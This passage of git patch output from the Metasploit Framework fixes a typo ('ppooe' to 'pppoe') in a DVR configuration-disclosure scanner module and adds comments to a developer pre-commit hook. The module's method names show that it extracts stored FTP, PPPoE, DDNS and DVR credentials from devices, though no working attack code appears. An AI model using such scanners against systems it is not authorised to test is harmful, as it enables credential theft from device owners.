++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb b/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb index b2e36eaefa..3201f3f340 100644 --- a/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb +++ b/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb @@ -37,7 +37,7 @@ class Metasploit3 < Msf::Auxiliary end - def get_ppooe_credentials(conf) + def get_pppoe_credentials(conf) user = "" password = "" @@ -208,7 +208,7 @@ class Metasploit3 < Msf::Auxiliary get_ftp_credentials(conf) get_dvr_credentials(conf) get_ddns_credentials(conf) - get_ppooe_credentials(conf) + get_pppoe_credentials(conf) dvr_name = "" if res.body =~ /DVR_NAME=(.*)/ From d5b0482127f4cc66ce7c4f16febaff6328de1f72 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Wed, 6 Feb 2013 14:19:18 -0600 Subject: [PATCH 129/129] Note linking strat in comment docs --- tools/dev/pre-commit-hook.rb | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/tools/dev/pre-commit-hook.rb b/tools/dev/pre-commit-hook.rb index f4e712a152..2625d6d64a 100755 --- a/tools/dev/pre-commit-hook.rb +++ b/tools/dev/pre-commit-hook.rb @@ -13,6 +13,10 @@ # # You must mark it executable (chmod +x), and do not name it # pre-commit.rb (just pre-commit) +# +# If you want to keep up on changes with this hook, just: +# +# ln -sf valid = true # Presume validity files_to_check = []